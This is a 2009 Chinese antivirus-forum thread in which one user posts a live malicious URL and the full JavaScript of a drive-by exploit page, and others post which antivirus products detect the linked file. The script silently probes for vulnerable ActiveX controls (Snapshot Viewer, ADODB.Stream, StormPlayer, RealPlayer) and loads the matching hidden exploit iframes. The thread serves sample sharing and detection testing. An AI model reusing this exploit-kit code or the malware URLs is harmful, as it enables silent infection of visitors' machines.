排名第一的网马

dayang1717

http://008.kweilai.cn/root/vip08.htm

<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
window.defaultStatus=".";
try{if(new ActiveXObject("snpvw.Snap"+"s"+"h"+"ot Viewer Control.1"))document.write('<iframe width=100 height=0 src=sina.htm></iframe>')}catch(a){}try{var e;var ado=document.createElement("object");if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:B"+"D96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{if(e!="[object Error]"){document.write('<iframe width=100 height=0 src=11.htm></iframe>')}else{try{var h;var glworld=new ActiveXObject("GLIEDown.IEDown.1")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="live.htm"></iframe>')}}try{var bf;var bfworld=new ActiveXObject("MPS.StormPlayer")}catch(bf){};finally{if(bf!="[object Error]"){document.write('<iframe style=display:none src="bf.htm"></iframe>')}}}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x32"){var ammc="dsvb";
document.write('<Iframe style=display:none src="rp10.htm"></iframe>');}
else
document.write('<iframe style=display:none src="Real11.htm"></iframe>');
}
test();
document.write("");document.write("");document.write("");document.write("");var fjd="fdsfsd";abc="dfdae";document.write("");var fkav="BS";var fkasaccv="BS";var fkaqfccv="BS";var fkaqjfccv="BS";var bccv="BS";


http://wm.eo2q.cn/root/top.css

[ 本帖最后由 dayang1717 于 2009-5-15 15:17 编辑 ]

Sebastian

D:\kafan\top.css
    [DETECTION] Is the TR/PSW.LdPinch.jm1 Trojan

[ 本帖最后由 Sebastian 于 2009-5-15 15:30 编辑 ]

lingbo110120

schumi小粉

[2009-05-15 15:21:01] 发现Maxthon.exe试图访问恶意网址:wm.eo2q.cn/root/top.css，已被成功阻止！

[ 本帖最后由 schumi小粉 于 2009-5-15 15:23 编辑 ]

kingsheet

卡巴
检测到：木马程序 Trojan-Downloader.Win32.VB.kwb        URL: http://bbs.kafan.cn/attachment.p ... /#//PE_Patch//UPack

lyruyitong

伞呢？过吗？

我们曾经是战士

nis09秒杀
扫描和运行

will

在 top.css 中发现 TrojanDropper.Agent.wvc 病毒

主防KILL


[ 本帖最后由 will 于 2009-5-15 16:22 编辑 ]

stoneinwind

趋势kill

悠柚

质量似乎不高
Windows Defender TrojanDropper:Win32/Microjoin.gen!C